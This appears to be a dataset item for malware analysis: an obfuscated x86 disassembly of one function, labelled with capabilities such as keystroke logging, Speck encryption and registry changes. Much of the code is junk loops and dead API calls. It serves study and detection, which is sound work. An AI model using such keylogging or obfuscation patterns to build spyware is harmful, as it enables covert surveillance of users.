Function at 0x10014b19
Capabilities:
Accept command line arguments
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path
Log keystrokes via polling
Query or enumerate registry value
Read .ini file
Set registry value

Disassembly:
mov eax, 0x1006355a
call fcn.10062b10
sub esp, 0xc08
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 4
pop ebx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x324]
mov dword [ebp - 0x20], 0x860b4ffb
mov dword [ebp - 0x2c], 0xfffffff9
push ebx
mov byte [ebp - 0x64], dl
call fcn.10011569
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x40], 0xab39e224
mov dword [ebp - 0x40], 0xec560449
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10014b87
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x324]
mov dword [eax + ecx*4], 0x6d8bc0d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10014b6d
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10014ba7
push 0x1f5b
push 0x1990
push 0x836
call dword [sym.imp.KERNEL32.dll_MulDiv]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10014c77
xor edi, edi
mov dword [ebp - 0x14], 0xecf4
inc edi
lea ecx, [ebp - 0x548]
push edi
call fcn.10011569
mov dword [ebp - 0x18], 0
jmp 0x10014be2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x548]
mov dword [eax + ecx*4], 0xd52a2848
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10014bcf
mov dword [ebp - 0x18], 0
jmp 0x10014c01
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x98c], 0x95610a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10014bf0
cmp dword [ebp - 0x20], 0
jne 0x10014c2e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], 6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x324]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], eax
je 0x10014c45
mov eax, dword [ebp - 0x548]
cmp dword [eax], 0
je 0x10014c45
mov edx, edi
jmp 0x10014c47
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x988], edx
mov eax, dword [ebp - 0x14]
cmp edx, eax
setg cl
cmp ecx, 0xffff
lea ecx, [ebp - 0x548]
sbb eax, eax
add eax, 0x6db09c56
mov dword [ebp - 0x40], eax
call fcn.100115eb
jmp 0x10014d47
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10014c99
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5f0], 0x6fbc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10014c80
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10014cb0
push eax
push 0x5e9
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
xor eax, eax
xor edi, edi
mov dword [ebp - 0x20], eax
inc edi
cmp dword [ebp - 0x20], 3
jg 0x10014d47
jmp 0x10014cc4
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10014cda
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x948], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10014cc9
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x324]
cmp dword [eax + ecx*4], 0
je 0x10014d16
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 0x5e8]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
cmp edx, 0xffffffff
ja 0x10014d16
mov ecx, edi
xor eax, eax
jmp 0x10014d1a
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x940], ecx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10014d3a
push eax
push 0x1ee9
push 0x2049
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10014cc2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.100115eb
mov dword [ebp - 0x20], 0x860b4ffb
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x2c], 0xfffffff9
push ebx
call fcn.10011569
mov dword [ebp - 4], edi
mov dword [ebp - 0x40], 0xab39e224
mov dword [ebp - 0x50], 0xec560449
mov dword [ebp - 0x14], 0
jmp 0x10014d9d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2d0]
mov dword [eax + ecx*4], 0x6d8bc0d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10014d8a
mov byte [ebp - 0x25], 0
cmp byte [ebp - 0x25], 0
je 0x10014dc1
push 0x1f5b
push 0x1990
push 0x836
call dword [sym.imp.KERNEL32.dll_MulDiv]
cmp dword [ebp - 0x20], 0
je 0x10014f4c
mov dword [ebp - 0x14], 0xecf4
lea ecx, [ebp - 0x560]
push edi
call fcn.10011569
mov byte [ebp - 4], 2
mov dword [ebp - 0x40], 0x1019
cmp dword [ebp - 0x40], 0x1252
jle 0x10014e43
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor edi, edi
xor esi, esi
mov eax, esi
lea ecx, [ebp - 0xa34]
xor eax, edi
cdq
push edx
push eax
call fcn.1000d05e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10014e18
mov eax, dword [eax]
push eax
call fcn.1004d84f
pop ecx
push 0
push 1
lea ecx, [ebp - 0xa34]
call fcn.10011ae9
inc esi
cmp esi, 0x7f9b
jl 0x10014dfc
inc edi
cmp edi, 0x3ed8
jl 0x10014dfa
xor edi, edi
inc edi
cmp dword [ebp - 0x40], 0xf36
jge 0x10014e57
push 0x10007bd8
call fcn.1004d84f
pop ecx
mov dword [ebp - 0x18], 0
jmp 0x10014e73
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x560]
mov dword [eax + ecx*4], 0xd52a2848
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10014e60
mov dword [ebp - 0x18], 0
jmp 0x10014e92
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9a4], 0x95610a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10014e81
cmp dword [ebp - 0x20], 0
jne 0x10014ebf
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], 6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], eax
je 0x10014ed7
mov eax, dword [ebp - 0x560]
xor ebx, ebx
cmp dword [eax], ebx
je 0x10014ed7
mov edx, edi
jmp 0x10014edb
xor edx, edx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x9a0], edx
mov eax, dword [ebp - 0x14]
cmp edx, eax
setg cl
cmp ecx, 0xffff
lea ecx, [ebp - 0x560]
sbb eax, eax
add eax, 0x6db09c56
mov dword [ebp - 0x50], eax
call fcn.100115eb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2d0]
push 2
pop esi
call fcn.100115eb
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x14], 0x63ba20b9
mov dword [ebp - 0x20], 0x3ff14eb4
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x30], 0xfb66
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x40], 0xc53a
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10015098
mov dword [ebp - 0x14], 0
jmp 0x10014f66
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x638], 0x6fbc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10014f55
mov dword [ebp - 0x40], 0x39b
cmp dword [ebp - 0x40], 0x3f5
jle 0x10014fb5
xor esi, esi
mov ebx, esi
mov dword [ebp - 0x2c], 0x3fdc
xor edi, edi
mov eax, ebx
mov ecx, 0x1060ba78
and eax, edi
cdq
push edx
push eax
call fcn.1001133e
inc edi
cmp edi, 0x1a6d
jl 0x10014f89
dec ebx
dec dword [ebp - 0x2c]
jne 0x10014f87
inc esi
cmp esi, 0x6660
jl 0x10014f7e
xor edi, edi
inc edi
xor eax, eax
mov byte [ebp - 0x25], al
mov byte [ebp - 4], 5
cmp dword [ebp - 0x40], 0x33c
jge 0x10014ff7
mov edx, 0x10007c14
mov ecx, 0x1060ba78
call fcn.10013c65
jmp 0x10014ff5
xor eax, eax
cmp byte [ebp - 0x25], 0
je 0x10015009
push eax
push 0x5e9
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
xor ebx, ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 3
jg 0x10014f06
mov dword [ebp - 0x14], ebx
jmp 0x1001502a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x900], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001501d
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d0]
cmp dword [eax + ecx*4], ebx
je 0x10015061
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x638]
mov ecx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, edi
setl dl
cmp edx, 0xffffffff
jbe 0x10015063
mov eax, ebx
mov dword [ebp - 0x8f8], eax
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x10015082
push ebx
push 0x1ee9
push 0x2049
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
inc dword [ebp - 0x20]
jmp 0x1001500e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x210], 0xdc5336de
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10015087
mov dword [ebp - 0x18], ebx
jmp 0x100150b3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x610], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100150a2
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100150cd
push 0x218d
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp dword [ebp - 0x14], ebx
je 0x100150de
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x4c]
imul ecx, eax
mov dword [ebp - 0x20c], ecx
sub dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x210], ebx
je 0x10015230
mov dword [ebp - 0x40], 0x8fbdedb
mov dword [ebp - 0x24], 0xfffffff8
cmp dword [ebp - 0x24], 0x1c
jne 0x1001520d
mov dword [ebp - 0x44], 0x7eef
cmp dword [ebp - 0x44], 0x80ed
jle 0x100151b8
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov dword [ebp - 0x14], ebx
cdq
mov edi, ebx
idiv ecx
mov ecx, edx
mov dword [ebp - 0x50], ecx
mov esi, ebx
mov eax, edi
cdq
idiv esi
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0xb18]
push edx
push eax
call fcn.1000d05e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001516e
mov eax, dword [eax]
push eax
call fcn.1004d84f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xb18]
call fcn.10011ae9
mov ecx, dword [ebp - 0x50]
inc esi
cmp esi, 0x226a
jl 0x1001514e
inc edi
cmp edi, 0x5ac4
jl 0x1001514c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x844
jl 0x10015142
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x182e
jl 0x1001513d
push 2
pop esi
mov byte [ebp - 0x25], bl
cmp dword [ebp - 0x44], 0x7b88
jge 0x100151cf
push 0x10007c54
call fcn.1004d84f
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x25], 0
je 0x100151df
call dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x20], esi
jmp 0x100151ff
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100151fc
push ebx
push ebx
push 0x1079
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
jge 0x100151e4
inc dword [ebp - 0x24]
jmp 0x1001511a
mov eax, dword [ebp - 0x40]
xor edi, edi
xor ecx, ecx
inc edi
cmp eax, edi
setle cl
sub ecx, dword [ebp - 0x40]
jne 0x10015226
mov eax, ebx
cmp dword [ebp - 0x40], ebx
je 0x10015228
mov eax, edi
mov dword [ebp - 0x20], eax
jmp 0x100153d1
push esi
lea ecx, [ebp - 0x12c]
call fcn.10011569
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x650]
mov dword [ebp - 0x2c], 0xbaf34c2
mov dword [ebp - 0x3c], 0xcd5918cd
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], 0x3517d3e8
mov dword [ebp - 0x48], 0x38bbd881
mov dword [ebp - 0x48], 9
push edi
call fcn.10011569
mov dword [ebp - 0x18], ebx
jmp 0x1001528d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x12c]
mov dword [eax + ecx*4], 0x81b2706
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001527a
mov dword [ebp - 0x18], ebx
jmp 0x100152a7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x650]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10015297
mov eax, dword [ebp - 0x14]
mov ecx, 0xef3bb579
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 6
setne cl
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
sub ecx, 0x9286df49
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xe6e2
test eax, eax
jne 0x100152fc
mov eax, dword [ebp - 0x12c]
mov ecx, ebx
cmp dword [eax], ebx
je 0x100152fe
mov ecx, edi
mov eax, dword [ebp - 0x20]
sub eax, ecx
mov ecx, dword [ebp - 0x12c]
je 0x10015311
cmp dword [ecx], ebx
je 0x10015311
mov ebx, edi
xor eax, eax
cmp ebx, dword [ecx]
setne al
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x12c]
setle dl
xor ebx, ebx
test edx, edx
sets bl
sub ebx, 0x1929
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, dword [eax]
setne cl
xor edx, edx
imul eax, ecx, 0xffff
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov ecx, dword [ebp - 0x20c]
mov eax, dword [ebp - 0x24]
setge dl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sete dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, 0xabb00f6
mov ecx, dword [ebp - 0x12c]
setl dl
xor eax, eax
cmp dword [ecx], edx
setne al
imul edx, eax, 0xfeb1
mov eax, dword [ebp - 0x30]
sub edx, dword [ecx + 4]
sub edx, 0x4bdacabd
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x650]
inc dword [ebp - 0x50]
call fcn.100115eb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.100115eb
xor ebx, ebx
mov dword [ebp - 0x24], 0x860b4ffb
lea ecx, [ebp - 0x680]
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x50], 0xf889e022
mov dword [ebp - 0x40], 0x263b0a6d
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], 0x7935db5a
mov dword [ebp - 0x48], 0x360abed9
mov dword [ebp - 0x48], 0xf94ad8a0
mov dword [ebp - 0x48], 0x131ec8e1
mov dword [ebp - 0x48], 0x6042c8cd
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x48], 0xad385e39
push edi
call fcn.10011569
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], 0x1ef224b3
mov dword [ebp - 0x48], 0xf83f3a8a
push edi
call fcn.10011569
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x2c], 0xf77a
mov dword [ebp - 0x44], 0x5917
cmp dword [ebp - 0x44], 0x5b07
jle 0x100154d2
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov edi, esi
mov esi, 0x5b73
mov eax, edi
lea ecx, [ebp - 0xa64]
cdq
push edx
push eax
call fcn.1000d05e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001549c
mov eax, dword [eax]
push eax
call fcn.1004d84f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xa64]
call fcn.10011ae9
dec edi
dec esi
jne 0x10015482
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0xd04
jl 0x1001547b
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
xor edi, edi
push 2
inc edi
pop esi
mov dword [ebp - 0x4c], 0x94a39b7b
cmp dword [ebp - 0x44], 0x5564
jge 0x100154ed
push 0x10007c80
call fcn.1004d84f
pop ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], ebx
jmp 0x10015506
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x14c], 0xfb1af9d6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x100154f5
mov dword [ebp - 0x38], ebx
jmp 0x10015523
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x680]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x10015510
mov dword [ebp - 0x38], ebx
jmp 0x1001553d
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x668]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x1001552d
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jne 0x100155ae
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
neg eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x148]
cmp ecx, eax
setg dl
cmp edx, 0x886a
jl 0x1001558b
mov edx, ebx
cmp dword [ebp - 0x18], ebx
je 0x1001558d
mov edx, edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x796
setl al
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x3e731e7b
setge cl
xor eax, eax
cmp ecx, 4
setne al
xor edx, edx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14c]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x14]
je 0x100155e7
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x148]
add eax, eax
jne 0x10015604
mov eax, ebx
cmp dword [ebp - 0x3c], ebx
je 0x10015606
mov eax, edi
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x668]
call fcn.100115eb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x680]
call fcn.100115eb
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x38], 0xdd1e1e87
mov dword [ebp - 0x14], ebx
jmp 0x10015647
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe0], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10015636
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jl 0x1001577e
mov dword [ebp - 0x20], 0x6801fc3e
lea ecx, [ebp - 0x2e8]
push esi
call fcn.10011569
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1001568b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2e8]
mov dword [eax + ecx*4], 0xee24b2e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10015678
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0xe0], ebx
jne 0x1001576e
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x10015758
mov eax, dword [ebp - 0xdc]
mov edx, 0x8f5537c5
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0x20]
cmp edx, eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x2e8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xe0]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xe0]
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xdc]
cmp edi, ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne bl
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xe0]
mov eax, dword [ebp - 0x38]
sub ebx, eax
mov eax, dword [ebp - 0x38]
cmp ebx, ecx
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x3c], ecx
dec dword [ebp - 0x20]
jns 0x100156ac
xor ebx, ebx
lea ecx, [ebp - 0x2e8]
call fcn.100115eb
dec dword [ebp - 0x38]
jns 0x10015659
jmp 0x10015779
lea ecx, [ebp - 0x2e8]
call fcn.100115eb
cmp dword [ebp - 0x38], ebx
je 0x100157b6
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001578e
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x38], 0xfffffffa
jmp 0x100157ae
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100157ab
push 0x194
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 6
jle 0x10015797
jmp 0x100157c4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0xa0d7c8a3
mov dword [ebp - 0x44], 0x7ae9
cmp dword [ebp - 0x44], 0x7da8
jle 0x10015830
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov edx, ebx
mov dword [ebp - 0x50], 0x54ef
mov dword [ebp - 0x2c], edx
mov eax, edi
xor eax, ecx
mov ecx, 0x1060ba78
xor eax, edx
cdq
push edx
push eax
call fcn.1001133e
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
add edx, esi
dec dword [ebp - 0x50]
mov dword [ebp - 0x2c], edx
jne 0x100157e9
inc esi
cmp esi, 0x68db
jl 0x100157dd
inc edi
cmp edi, 0x70d1
jl 0x100157db
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x1f94
jl 0x100157d9
xor edi, edi
push 2
inc edi
pop esi
push 4
lea ecx, [ebp - 0x348]
call fcn.10011569
mov dword [ebp - 4], 0xe
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x44], 0x798b
jge 0x10015884
mov edx, 0x10007ca4
mov ecx, 0x1060ba78
call fcn.10013c65
jmp 0x10015884
push 3
lea ecx, [ebp - 0x4dc]
mov dword [ebp - 4], 0xe
call fcn.10011569
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x578]
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x2c], 0xc25b
push 4
call fcn.10011569
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], ebx
jmp 0x100158d2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4dc]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100158bf
mov dword [ebp - 0x18], ebx
jmp 0x100158f0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x578]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100158dd
mov dword [ebp - 0x18], ebx
jmp 0x10015912
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001590f
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x100158fb
mov eax, dword [ebp - 0x4dc]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x10015967
cmp dword [ebp - 0x2c], ebx
je 0x10015948
mov ecx, dword [ebp - 0x2c]
mov edx, edi
mov eax, dword [ebp - 0x578]
mov dword [eax + 8], ecx
xor eax, eax
test ecx, ecx
setne al
cmp eax, 0x7457
jg 0x1001594a
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setge cl
imul eax, ecx, 0xb5e4
test eax, eax
jne 0x10015961
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], 6
lea ecx, [ebp - 0x578]
call fcn.100115eb
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 0xe
call fcn.100115eb
mov dword [ebp - 0x2c], 0xab39e224
mov dword [ebp - 0x34], 0xec560449
mov dword [ebp - 0x14], ebx
jmp 0x100159ae
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x348]
mov dword [eax + ecx*4], 0x6d8bc0d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001599b
push edi
lea ecx, [ebp - 0x1d4]
call fcn.10011569
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x3c], 0x8bc0d133
mov dword [ebp - 0x14], ebx
jmp 0x100159e2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1d4]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100159cf
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10015acf
mov dword [ebp - 0x14], 0xfffffffb
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax], ebx
mov eax, dword [eax + ecx*4]
setge dl
sub eax, edx
je 0x10015aa3
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 0x448112de
mov dword [ebp - 0x30], ebx
jmp 0x10015a9c
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x2c], 0xfffffffd
cmp dword [ebp - 0x30], ebx
je 0x10015a6a
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + ecx*4], 0x2885
mov eax, dword [ebp - 0x3c]
setg dl
sub edx, 0xfce8
add eax, edx
mov edx, edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
